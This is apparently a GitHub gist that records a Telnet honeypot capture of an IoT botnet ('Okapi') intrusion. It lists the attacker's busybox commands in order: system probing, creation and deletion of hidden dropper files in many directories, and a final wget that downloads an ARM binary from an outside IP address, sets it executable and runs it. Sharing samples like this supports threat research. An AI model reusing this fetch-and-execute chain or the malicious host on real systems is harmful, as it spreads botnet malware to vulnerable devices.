/Okapi_malware_sample_1
Created Oct 27, 2019
Catched by Telnet-Iot-Honeypot
| enable | |
| system | |
| shell | |
| sh | |
| ping ; sh | |
| linuxshell; /bin/busybox LMAO | |
| /bin/busybox cat /proc/cpuinfo || while read i; do echo $i; done < /proc/cpuinfo; /bin/busybox LMAO | |
| /bin/busybox LMAO | |
| >/tmp/.file && cd /tmp/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/var/.file && cd /var/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/dev/.file && cd /dev/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/mnt/.file && cd /mnt/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/var/run/.file && cd /var/run/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/var/tmp/.file && cd /var/tmp/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/.file && cd / | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/dev/netslink/.file && cd /dev/netslink/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/dev/shm/.file && cd /dev/shm/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/bin/.file && cd /bin/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/etc/.file && cd /etc/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/boot/.file && cd /boot/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| >/usr/.file && cd /usr/ | |
| /bin/busybox rm -rf .file .z.binary .z.dropper | |
| /bin/busybox cp /bin/busybox .z.binary; >.z.binary; /bin/busybox chmod 777 .z.binary; /bin/busybox LMAO | |
| clear; /bin/busybox wget; /bin/busybox tftp; /bin/busybox LMAO | |
| /bin/busybox wget http://80.211.134.53/arm7 -O- >.z.binary; /bin/busybox chmod 777 .z.binary;./.z.binary wget.arm7; /bin/busybox LMAO |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment